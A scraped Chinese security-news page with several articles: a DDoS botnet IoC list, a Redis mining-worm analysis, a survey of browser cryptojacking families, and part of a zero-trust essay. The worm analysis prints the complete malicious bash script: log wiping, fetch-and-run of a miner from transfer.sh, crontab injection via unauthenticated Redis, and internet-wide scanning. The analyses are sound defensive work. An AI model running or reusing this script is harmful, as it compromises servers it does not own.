  2.4.1樣本基本信息

  

  2.4.2樣本行為

  (1)該樣本通過SSH爆破被拷貝到/tmp目錄下並開始運行

  (2)將自身註冊為服務

  (3)拷貝自身到其他目錄

  (4)設置定時任務

  (5)修改刷新iptables后,嘗試連接到遠程主機。

  (6)它會刪除/etc/resolv.conf並保存初始安裝和下載的配置數據(Config.ini)

  (7)通過發送用戶名信息連接到C&C,作為一個bot與C&C建立通訊

  (8)C&C主要發送帶目標IP地址作為參數的DDoS命令到bot機器進行DDoS攻擊

  VT行為分析:

  

  2.4.3樣本詳細分析

  寫入腳本到/etc/init.d/%s/與/etc/rc%d.d/S90%s路徑下

  

  設置定時任務

  

  控制網卡接口

  

  以.chinaz為前綴拷貝自身到/tmp/目錄下

  

  安裝完成後會重啟計算機

  

  DDoS相關的一些指紋,其中包含一個QQ號碼:2900570290

  

  

  三.事件分析

  3.1事件關聯分析

  以liancanmou.xyz這個域名為起點,結合樣本分析與VT Graph關聯分析形成以下關聯圖,可以確定123.160.10.16、180.97.220.35以及123.249.9.157這三個IP是用於作為木馬的CNC地址以及木馬分發地址。在2018年5月24日域名liancanmou.xyz從指向123.249.9.157被換位指向180.97.220.35這個IP。

  

  PassiveDNS相關信息

  

  3.2事件溯源

  3.2.1域名註冊信息

  

  3.2.2個人信息

  

  

  四.IoCs

  liancanmou.xyz

  web.liancanmou.xyz

  jch.liancanmou.xyz

  wwt.liancanmou.xyz

  wwv.liancanmou.xyz

  www.liancanmou.xyz

  http://180.97.220.35:3066/Linux4.7

  http://123.160.10.16:3097/gy.exe

  http://180.97.220.35:3066/33

  http://180.97.220.35:3066/32

  180.97.220.35

  123.249.9.157

  123.160.10.16

  123.249.9.15

  123.249.79.250

  180.97.220.35

  103.248.220.196

  892833AB52DAA816918041670519EB6351AE7EC2DB7AF2C97F3AB5EE214DA173

  4A2FB58342D549347D32E54C3DA466A19BFD66364825AC7F2257995356F09AFD

  74D4776A76AD3BCB578C9757D9F18A6ADFFE8802C43E5E59B14C4E905664733D

  DBC7FC7748BD201C54B2A0189396F3101C18127A715E480C8CB808F07137822A

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

帶您來看台北網站建置套版網頁設計台北網站改版設計台北RWD響應式網頁設計,各種案例分享

廣告預算用在刀口上,網站設計公司幫您達到更多曝光效益

Linux Redis自動化挖礦感染蠕蟲分析及建議

網站內容來源http://server.it168.com/

Linux Redis自動化挖礦感染蠕蟲分析及建議

2018-05-30 17:06    來源:安全客  作者: 雲鼎實驗室 Fooying 編輯:
0購買

  一、 背景

  自從Redis未授權問題獲取Linux系統root權限的攻擊方法的披露后,由於其易用性,利用該問題入侵Linux服務進行挖礦、掃描等的黑客行為一直層出不窮;而在眾多利用該問題入侵服務器進行黑產行為的案例中,其中就存在一類利用該問題進行挖礦並且會利用pnscan自動掃描感染其他機器;該類攻擊一直存在,不過在近期又呈現數量增加的趨勢,在最近捕獲到多次,我們針對其做下具體的分析。

  二、 漏洞說明

  首先針對利用的漏洞做個說明,Redis 默認情況下,會綁定在 0.0.0.0:6379,在沒有利用防火牆進行屏蔽的情況下,將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 ~/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器;如果Redis服務是以root權限啟動,可以利用該問題直接獲得服務器root權限。相關漏洞詳情可以參考:

  https://www.seebug.org/vuldb/ssvid-89715

  以下為漏洞利用演示(上傳不了視頻,播放地址:https://v.qq.com/x/page/u0661b9o772.html):

  經過在ZoomEye和SHODAN檢索,可以發現分別眾多Redis服務開放在公網上,這些服務都可能成為攻擊目標。

  三、 入侵分析

  經過對捕獲的事件進行分析,我們發現整個入侵流程大概是包含以下幾個環節:1、掃描開放6379端口的Linux服務器(後續感染掃描網段為1.0.0.0/16到224.255.0.0/16)

  2、通過redis-cli嘗試連接Redis並執行預置在.dat文件里的利用命令將Redis的數據文件修改為/var/spool/cron/root,然後通過在Redis中插入數據,將下載執行腳本的動作寫入crontab任務

  3、通過腳本實現以上的相關行為,完成植入並啟動挖礦程序

  4、再編譯安裝pnscan,繼續掃描感染下一個目標

  四、 腳本分析

  整個入侵利用以及後續的感染的實現,最主要的功能都是基於通過Redis問題寫入crontab任務中下載執行的NaNd腳本(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)來實現的,通過對它的分析,我們基本能夠得到整個流程的所有細節,這是一個base腳本,我們通過解讀來分析下它的相關功能。

  1. sleep 1

  2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete

  3. [ -f .mxff0 ] && exit 0

  4. echo 0 > .mxff0

  這部分代碼只要是用作重複執行的判斷,將.mxff0文件作為標記文件,如果存在該文件則代表機器上已執行腳本,直接退出,否則寫.mxff0文件並進行下一步動作;

  5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT

  設置預置動作,在腳本退出后刪除相關文件和腳本自身;

  6. setenforce 0 2>/dev/null

  7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

  8. crontab -r 2>/dev/null

  9. rm -rf /var/spool/cron 2>/dev/null

  10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

  11. rm -rf /tmp/* 2>/dev/null

  12. rm -rf /var/tmp/* 2>/dev/null

  13. rm -rf /etc/root.sh 2>/dev/null

  14. sync && echo 3 > /proc/sys/vm/drop_caches

  15. cat <<EOF> /etc/security/limits.conf

  16. * hard nofile 100000

  17. * soft nofile 100000

  18. root hard nofile 100000

  19. root soft nofile 100000

  20. * hard nproc 100000

  21. * soft nproc 100000

  22. root hard nproc 100000

  23. root soft nproc 100000

  24. EOF

  這部分主要是修改系統的配置,6、7行為關閉SELINU;

  然後清空/var/spool/cron,進而判斷系統DNS服務器是否存在8.8.8.8,沒有則添加;

  11-13則清空系統tmp目錄和刪除相關文件;

  14行清空系統緩存,而15-24則是修改系統的資源限制;

  25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

  26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

  27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start.sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs|.sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; done

  這裏再進一步的增加iptables限制6379端口只允許本地訪問,同時kill相關包含挖礦、redis客戶端、爬蟲等進程,這裏的目的也比較簡單,避免被其他黑客再次入侵,同時清除可能其他黑客入侵啟動的進程;

  28. rm -rf /tmp/* 2>/dev/null

  29. rm -rf /var/tmp/* 2>/dev/null

  30. echo 0 > /var/spool/mail/root

  31. echo 0 > /var/log/wtmp

  32. echo 0 > /var/log/secure

  33. echo 0 > /root/.bash_history

  清除相關登錄日誌、命令操作歷史;

  34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

  35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”

  36. if cat /etc/*release | grep -i CentOS; then

  37. yum clean all

  38. yum install -y -q epel-release

  39. yum install -y -q $YUM_PACKAGE_NAME

  40. elif cat /etc/*release | grep -qi Red; then

  41. yum clean all

  42. yum install -y -q epel-release

  43. yum install -y -q $YUM_PACKAGE_NAME

  44. elif cat /etc/*release | grep -qi Fedora; then

  45. yum clean all

  46. yum install -y -q epel-release

  47. yum install -y -q $YUM_PACKAGE_NAME

  48. elif cat /etc/*release | grep -qi Ubuntu; then

  49. export DEBIAN_FRONTEND=noninteractive

  50. rm -rf /var/lib/apt/lists/*

  51. apt-get update -q –fix-missing

  52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  53. elif cat /etc/*release | grep -qi Debian; then

  54. export DEBIAN_FRONTEND=noninteractive

  55. rm -rf /var/lib/apt/lists/*

  56. apt-get update –fix-missing

  57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  58. elif cat /etc/*release | grep -qi Mint; then

  59. export DEBIAN_FRONTEND=noninteractive

  60. rm -rf /var/lib/apt/lists/*

  61. apt-get update –fix-missing

  62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  63. elif cat /etc/*release | grep -qi Knoppix; then

  64. export DEBIAN_FRONTEND=noninteractive

  65. rm -rf /var/lib/apt/lists/*

  66. apt-get update –fix-missing

  67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

  68. else

  69. exit 1

  70. fi

  71. sleep 1

  72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then

  73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

  74. sleep 1

  75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

  76. fi

  這一長串的內容主要目的是下載並編譯安裝pnscan,從內容中我們可以看到對於不同操作系統的判斷然後安裝依賴的相關模塊,然後才是從github下載pnscan的源碼進行編譯安裝;至於為什麼採用編譯安裝的形式,猜測是出於兼容不同系統以及每次編譯生成的pnscan的MD5都不一樣,避免形成固定特徵;

  77. tname=$( mktemp )

  78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

  79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

  80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

  81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

  這部分主要是下載挖礦程序並重命名為.gpg,增加執行權限,執行后刪除,同時重新上傳到https://transfer.sh/ 獲取新的鏈接;

  82. [ -z “$NMURL” ] && NMURL=$OMURL

  83. ncmd=$(basename $(mktemp))

  84. sed ‘s|’”$OMURL”‘|’”$NMURL”‘|g’ < NaNd > $ncmd

  85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

  86. echo ‘flushall’ > .dat

  87. echo ‘config set dir /var/spool/cron’ >> .dat

  88. echo ‘config set dbfilename root’ >> .dat

  89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

  90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

  91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

  92. echo ‘save’ >> .dat

  93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

  94. echo ‘save’ >> .dat

  95. echo ‘exit’ >> .dat

  而這部分內容主要是生成新的.dat文件,包含將原來NaNd腳本里的里挖礦程序的下載地址替換為上一步上傳到https://transfer.sh/ 得到的新地址,還有Redis利用的相關語句;

  96. pnx=pnscan

  97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

  98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

  99. for x in $( seq 1 224 | sort -R ); do

  100. for y in $( seq 0 255 | sort -R ); do

  101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o

  102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

  103. while read -r h p; do

  104. cat .dat | redis-cli -h $h -p $p –raw &

  105. done < .r.$x.$y.l

  106. done

  107. done

  而步主要是調用pnscan去掃描子網段1.0.0.0/16到224.255.0.0/16中開放6379端口並且操作系統為Linux的目標,然後利用redis-cli執行.dat中的命令,進行下個目標的感染;這裏pnscan的-W參數值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’轉換后內容‘*1rn$4rnINFOrn’,是向目標Redis服務發送請求獲取Redis服務器的各種信息和統計數值,再通過-R參數值‘6f 73 3a 4c 69 6e 75 78′(轉換后內容為os:Linux)判斷是否Linux系統。

  108. echo 0 > /var/spool/mail/root 2>/dev/null

  109. echo 0 > /var/log/wtmp 2>/dev/null

  110. echo 0 > /var/log/secure 2>/dev/null

  111. echo 0 > /root/.bash_history 2>/dev/null

  112. exit 0

  最後就是收尾工作,清除相關日誌和命令執行歷史,同時在腳本退出的時候會觸髮腳本一開始用trap預置的動作,會做刪除操作,刪除相關文件和腳本自身(rm -rf m* NaNd tmp.* .r .dat $0)。

  通過對腳本的解讀,我們基本已經清楚整個蠕蟲的行為和入侵流程,也就是我們開始所描述的流程。

  另外,通過閱讀腳本,我們發現雖然整個入侵流程並不是多複雜,但腳本其實有很多”工程化”的細節考慮,不得不讓人驚嘆入侵者的”考慮周到”:

  1、 利用.mxff0文件做重複執行檢驗,避免腳本的重複執行

  2、 為了增加成功性,一些環境的預處理:

  a) 關閉SELINUX

  b) 增加8.8.8.8的DNS

  c) 清空tmp目錄

  d) 清空系統緩存

  e) 修改系統資源限制

  3、 痕迹清除

  a) 利用trap預置動作好在腳本執行完成后刪除相關文件和腳本自身

  b) 重複清除相關登錄等日誌和命令執行歷史

  4、 同行預防

  a) 利用iptables避免Redis服務開放在公網上從而導致再次被入侵

  b) 清除同行可能遺留的入侵行為,kill相關進程

  5、 系統兼容性

  a) 判斷操作系統,針對性的執行相關命令,安裝依賴包,最大限度的提高pnscan編譯安裝的成功率

  b) 關閉SELINUX,通過setenforce和修改/etc/sysconfig/selinux兩種手段實現

  c) 寫入Crontab里的下載並執行腳本的任務,通過curl、wget、lynx三種方式實現

  d) Pnscan掃描增加操作系統判斷,減少沒有必要的感染嘗試

  6、 特徵去除,存活延續

  a) Pnscan採用安裝編譯的方式,既提高在不同系統下的兼容性,也避免形成固定的MD5特徵

  b) 利用https://transfer.sh 中轉,每一次感染均生成新的連接,避免固定鏈接形成固定特徵

  c) 下載到系統的相關文件均採用隨機生成的文件名

  正是由於入侵者種種的”考慮周到”使得他的入侵感染的成功率能夠達到的一定的層度。

  五、 安全建議

  病毒清理和系統恢復

  我們主要參考腳本的相關行為進行對應的行為恢復和刪除即可:

  1、 關閉SELINUX,根據系統原環境和業務需要重新開啟SELINUX

  2、 清空了/var/spool/cron,根據原先備份清空恢復

  3、 修改/etc/resolv.conf增加DNS服務8.8.8.8,如無影響可不處理,或者刪除

  4、 修改了系統資源限制(/etc/security/limits.conf),可根據備份情況恢復

  5、 增加了對6379端口的Iptables規則,如果不影響業務,建議保留

  6、 Kill了相關進程,檢查是否包含業務所需進程,根據情況恢復

  7、 安裝了相關包,具體列表見上文,可根據情況刪除或者如無影響可保留

  8、 編譯安裝了pnscan,可刪除/usr/local/bin/pnscan

  9、 清除了相關日誌和tmp目錄,對系統無影響,可忽略

  10、 啟動了挖礦進程和pnscan掃描感染,進程:.gpg、pnscan,直接kill

  還包含了一些中間文件,雖然腳本包含相關刪除操作,但建議還是全局查找確認:.mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

  Redis服務加固

  1、 如無必要,修改bind項,不要將Redis綁定在0.0.0.0上,避免Redis服務開放在外網,可以通過iptables或者騰訊雲用戶可以通過安全組限制訪問來源

  2、 在不影響業務的情況,不要以root啟動Redis服務,同時建議修改默認的6379端口,大部分針對Redis未授權問題的入侵都是針對默認端口進行的

  3、 配置AUTH,增加密碼校驗,這樣即使開放在公網上,如果非弱口令的情況,黑客也無法訪問Redis服務進行相關操作

  4、 使用rename-command CONFIG “RENAME_CONFIG”重命名相關命令,這樣黑客即使在連接上未授權問題的Redis服務,在不知道命令的情況下只能獲取相關數據,而無法進一步利用

  六、 附錄

  IOCs

  1. 腳本 https://transfer.sh/MIpIA/tmp.9kIguIhkI7

  2. 挖礦程序 2918ee2b69bc4e6b581c7b25f08434fe

  3. 礦池域名 http://jb.chakpools.com/

  4. 相關文件名 .mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

  鏈接

  1. 樣本 https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6

  2. Pnscan項目地址 https://github.com/ptrrkssn/pnscan

  3. 漏洞說明 https://www.seebug.org/vuldb/ssvid-89715

  4. 漏洞利用演示 https://v.qq.com/x/page/u0661b9o772.html

  5、雲鏡產品官網 https://cloud.tencent.com/product/hs

網站內容來源http://safe.it168.com/

【精選推薦文章】

如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

想要讓你的商品在網路上成為最夯、最多人討論的話題?

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師"嚨底家"!!

黑客是如何利用你的瀏覽器進行挖礦的?

網站內容來源http://server.it168.com/

黑客是如何利用你的瀏覽器進行挖礦的?

2018-05-30 18:05    來源:FreeBuf.COM  作者: 千里目安全實驗室 編輯:
0購買

  0×1 概述

  近期,千里目安全實驗室監測到了一大批網站系統被惡意植入了網頁挖礦木馬,只要訪問者通過瀏覽器瀏覽被惡意植入了網頁挖礦木馬站點,瀏覽器會即刻執行挖礦指令,從而淪為殭屍礦機,無償的為網頁挖礦木馬植入者提供算力,間接為其生產虛擬貨幣,這是一種資源盜用攻擊。由於網頁挖礦木馬存在很廣的傳播面和很不錯的經濟效益,因此、廣受黑產團體的追捧,讓我們對它防不勝防!

  0×2 千里百科

  區塊:在區塊鏈網絡上承載交易數據的數據包。它會被標記上時間戳和之前一個區塊的獨特標記。區塊頭經過哈希運算後會生成一份工作量證明,從而驗證區塊中的交易。有效的區塊經過全網絡的共識後會被追加到主區塊鏈中。

  區塊鏈:狹義來講,是一種按照時間序列將數據區塊以順序相連的方式組合成的一種鏈式數據結構,並以密碼學方式保證的不可篡改和不可偽造的分佈式賬本。

  礦機:礦機是挖礦機器的簡稱,就是用於賺取数字貨幣的計算機,這類計算機一般有專業的挖礦芯片,多採用燒顯卡的方式工作,耗電量較大。個人計算機可以通過挖礦軟件來運行特定的算法產生算力(俗稱挖礦)來獲得相應数字貨幣。

  礦池:由於單一礦機想挖到一個塊的幾率是非常小的,通過礦機聯合挖礦以提高几率。一個礦池的算力是很多礦機算力的集合,礦池每挖到一個塊,便會根據你礦機的算力占礦池總算力的百分比,發相應的獎勵給到個體,也不會存在不公平的情況。

  挖礦:挖礦是反覆嘗試不同的隨機數對未打包交易進行哈希,直到找到一個隨機數可以符合工作證明的條件的隨機數,以構建區塊。如果一個礦工走運併產生一個有效的區塊的話,會被授予的一定數量的幣作為獎勵。

  錢包:錢包指保存数字貨幣地址和私鑰的軟件,可以用它來接受、發送、儲存你的数字貨幣。

  0×3 家族樣本分析

  千里目安全實驗室通過持續對全網進行安全監測,發現近期有如下十種家族的網頁挖礦木馬的傳播比較活躍。詳情分析如下所示:

  1、Coinhive家族網頁挖礦木馬介紹:

  Coinhive是一個專門提供挖礦代碼的JS引擎,在被攻擊網站的網頁內嵌一段JS挖礦代碼,只要有人訪問被攻擊的網站,JS挖礦代碼就會通過瀏覽器上執行挖礦請求,佔用大量的系統資源,導致CPU資源利用率突然大幅度提升,甚至100%。在這過程中網站只是第一個受害目標,而網站的訪問者才是最終的受害目標。

  1.1、Coinhive家族網頁挖礦木馬代碼,如下所示:

  

  1.2、執行JS挖礦代碼前後的效果,如下圖所示:

  

  1.3、通過快捷鍵(Shift+ESC)來查看瀏覽器的任務管理器,發現正是剛打開的“XMR Mining Page”網站頁面佔用了98.4%的CPU資源,正在瘋狂的挖礦。如下圖所示:

  

  2、JSEcoin家族網頁挖礦木馬介紹:

  JSEcoin是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。但是與後者不同的是,JSECoin會將CPU使用率限制在15%至25%之間,並且始終显示隱私聲明,為用戶提供退出選項(可選擇不提供運算服務)。

  2.1、JSEcoin家族網頁挖礦腳本代碼,如下所示:

  

  2.2、通過對JSEcoin挖礦代碼進行調試,發現執行完挖礦代碼後會持續接收到需要運算的任務,如下圖所示:

  

  2.3、通過進一步跟蹤運算過程,發現其通過WSS協議來獲取區塊的計算任務,然後將結果進行回傳效驗,校驗通過的會显示OK標記。如下圖所示:

  

  3、CryptoLoot家族網頁挖礦木馬介紹:

  CryptoLoot是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。不過CryptoLoot平台的傭金比Coinhive平台的傭金低很多,這可以大大降低以挖礦為盈利目標的黑色產業鏈成本。

  3.1、CryptoLoot網頁挖礦腳本代碼,如下所示:

  

  3.2、CryptoLoot網頁挖礦腳本代碼參數介紹,如下所示:

  miner.min.js:為JS挖礦腳本。

  85e693dfe57edbdf8f53640b4c0b0d257513a504c503:為SiteKey,可以理解為JS挖礦引擎識別站點的唯一標識。

  threads(value):指挖礦運算所啟用的線程數量。這裏的值為3,即表示啟用3個線程進行挖礦運算。

  autoThreads(value):這裏的Value可以設置為true和false,當設置為true時,表示自動檢測用戶計算機上可用的CPU內核數量。

  throttle(value):這裏的value是設置線程閑置時間比例的。如果值為0,即表示不進行節流(即進行CPU滿載運算)。這裏的值為0.2即表示將在20%的時間內保持空閑狀態。

  4、DeepMiner家族網頁挖礦木馬介紹:

  DeepMiner是一個開源的JS挖礦項目,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

  4.1、DeepMiner網頁挖礦腳本代碼,如下所示:

  

  4.2、DeepMiner網頁挖礦腳本同源分析:

  DeepMiner是一個已經被開源了的項目,通過分析,發現上面的挖礦腳本代碼為此開源項目修改而來(開源項目地址為:https://github.com/deepwn/deepMiner)。

  5、Webmine家族網頁挖礦木馬介紹:

  Webmine也是一個與Coinhive類似的JS挖礦引擎,在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

  5.1、Webmine網頁挖礦腳本代碼,如下所示:

  

  5.2、訪問JS挖礦站點時,發現CPU使用率劇增,隨後退出對JS挖礦站點的訪問,發現CPU的使用率一下子就降下來了。如下圖所示:

  6、AuthedMine家族網頁挖礦木馬介紹:

  AuthedMine也是一個與Coinhive類似的JS挖礦引擎,在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

  6.1、AuthedMine網頁挖礦腳本代碼,如下所示:

  

  6.2、 AuthedMine網頁挖礦腳本與之前的幾種相比有比較大的改進,大致如下3點:

  設置了線程閑置時間比例,這樣不容易被礦機受害者發現和察覺。

  設置了挖礦設備類型,只對非移動設備進行挖礦運算,防止手持終端設備被卡死。

  設置了挖礦運算時間,只挖礦4小時,避免長時間CPU過高而遭暴露。

  7、BrowserMine家族網頁挖礦木馬介紹:

  BrowserMine是一個與DeepMiner類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

  7.1、BrowserMine網頁挖礦腳本代碼,如下所示:

  

  7.2、 執行JS挖礦代碼前後的效果,如下圖所示:

  

  8、Coinimp家族網頁挖礦木馬介紹:

  Coinimp是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。稍有不同的是Coinimp的平台費用基本免費,而且JS挖礦腳本可以重置為任意名字存放在本地,偽裝性更高。

  8.1、Coinimp網頁挖礦腳本代碼,如下所示:

  

  8.2、Coinimp網頁挖礦腳本代碼與之前的幾個有一個明顯的區別就是SiteKey值變成了64位,同時,JS挖礦代碼可以保存到本地存儲了,訪問參數與JS腳本名稱可以自行定義。

  9、CryptoWebMiner家族網頁挖礦木馬介紹:

  CryptoWebMiner是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。不過CryptoWebMiner平台的傭金比Coinhive平台的傭金低很多,這可以大大降低以挖礦為盈利目標的黑色產業鏈成本。

  9.1、CryptoWebMiner網頁挖礦腳本代碼,如下所示:

  

  9.2、CryptoWebMiner網頁挖礦腳本代碼結構與Coinhive很類似,但支持的幣種比較多,主要有BTC、ETH、ZEC、ETN、XMR。另外,它支持的平台也很多,分別為手機端挖礦、PC端挖礦、WEB端挖礦,可見傳播面很廣。

  10、PPoi家族網頁挖礦木馬介紹:

  PPoi是與Coinhive類似的JS挖礦引擎,也是在有訪問量的網站中嵌入一段網頁挖礦代碼,利用訪客的計算機CPU資源來挖掘数字貨幣進行牟利。

  10.1、PPoi網頁挖礦腳本代碼,如下所示:

  

  10.2、通過訪問PPoi平台官方地址,發現已經被Google GSB加入黑名單了。如下所示:

  

  0×4 趨勢分析與統計

  1、我們通過對分析過的網頁挖礦木馬代碼特徵,使用FOFA對全球所有在線Web應用系統進行統計,發現有60742892個Web應用被惡意掛載了網頁挖礦木馬。如下為全球TOP10地域的網頁挖礦木馬感染量和分佈情況。詳情如下所示:

  

  統計數據來自於FOFA平台

  2、進一步通過這些網頁挖礦木馬的代碼特徵來對中國境內所有在線Web應用系統進行分析和統計,發現有4557546個Web應用被惡意掛載了網頁挖礦木馬。如下為中國境內TOP N地域的網頁挖礦木馬感染量和分佈情況。詳情如下所示:

  

  統計數據來自於FOFA平台

  0×5 安全建議

  ü 定期對服務器中的數據做備份,看到類似以上10種形態的可疑腳本代碼,需提高警惕(這很可能意味着我們的站點和服務被入侵了 ),找專業的安全人員來做分析和處理。

  ü 如在服務器中發現存在可疑的後門或惡意代碼,需做全局的排查和清理,然後再做安全加固工作。

  ü 定期主動對服務器及服務器中的應用進行安全評估,及時發現潛在的風險,並及時處置和修復。

  0×6 IOCs

  C2:

  https://coinhive.com

  https://coin-hive.com

  https://webmine.cz

  https://webmine.pro

  https://munero.me

  https://load.jsecoin.com

  https://browsermine.com

  https://authedmine.com

  https://crypto-loot.com

  https://cryptaloot.pro

  https://ppoi.org

  URL:

  https://coinhive.com/lib/coinhive.min.js

  https://coin-hive.com/lib/coinhive.min.js

  https://crypto-loot.com/lib/miner.min.js

  https://cryptaloot.pro/lib/miner.min.js

  https://authedmine.com/lib/authedmine.min.js

  https://ppoi.org/lib/projectpoi.min.js

網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

跟着大公司學安全之BeyondCorp安全架構

網站內容來源http://server.it168.com/

跟着大公司學安全之BeyondCorp安全架構

2018-05-30 22:35    來源:Freebuf  作者: mcvoodoo 編輯:
0購買

  過去這些年,技術發生了很大的革命,雲計算改變了業務方式,敏捷改變了開發方式,某寶改變了購物方式。而在內部安全上,零信任則提供了一個新的模式。

  過去這些年,各種數據泄漏層出不窮,我懶得去找例子,反正比比皆是,從大公司到小公司,從政府到商業機構。這說明什麼呢?這說明我們過去的方法出了問題,以前基於邊界來劃分可信不可信的辦法行不通了。

  傳統的內部安全外圍取決於防火牆、VPN來隔離,但隨着員工用自己的電腦、用自己的手機、再加上雲計算,整個網絡邊界越來越模糊。零信任安全則直接在概念上顛覆了原有概念,內部用戶比外部用戶更不可信!看以往的各種案例,太多由於黑客掌握了密碼,證書之後得手的攻擊。因此,對這些內部用戶零信任,可能是未來減少數據泄漏的主要方法。

  一、Google實踐

  Gartner提出了CARTA方法論,意為持續自適應風險與信任評估,包含了零信任安全的核心元素。當然,更關鍵的是,Google已經在15年就開始付諸實施,這個項目就是大名鼎鼎的BeyondCorp,開始從本質上改變。BeyondCorp完全不信任網絡,而是基於設備、用戶、動態訪問控制和行為感知策略。零信任需要一個強大的身份服務來確保每個用戶的訪問,一旦身份驗證通過,並能證明自己設備的完整性,則賦予適當權限訪問資源。所以這裡有四個元素:驗證用戶、驗證設備、權限控制、自學習和自適應。

  1. 驗證用戶

  驗證用戶最基本的是用戶名和密碼,但怎麼確保這個密碼不是從黑市上買來的?所以就出現了多因素認證來獲得額外的保證,國內一般是短信驗證碼或軟硬件token,當然現在也開始逐漸出現人臉、指紋等。用戶有很多類型,普通用戶、管理員、外包、合作夥伴、客戶,多因素認證都可以適用。

  2.驗證設備

  要實現零信任安全,要把控制擴展到設備級。如果設備未經過驗證,設備就不可信。如果用戶數用常用、可信設備訪問,則有可信度。如果他在網吧用一台電腦來登陸,那這個信任度就低。設備驗證還包括了一些安全准入條件,比如是否安裝殺毒軟件和最新補丁。

  3. 限制訪問權限和特權

  限制用戶最小權限的訪問,就可以限制攻擊的橫向移動。其次是對業務應用的授權,業務層包含大量敏感數據,是攻擊的首要目標,因此在應用側限制權限也同樣重要。數據越重要,權限越少,也可以用多因素來進一步驗證。

  4.自學習和自適應

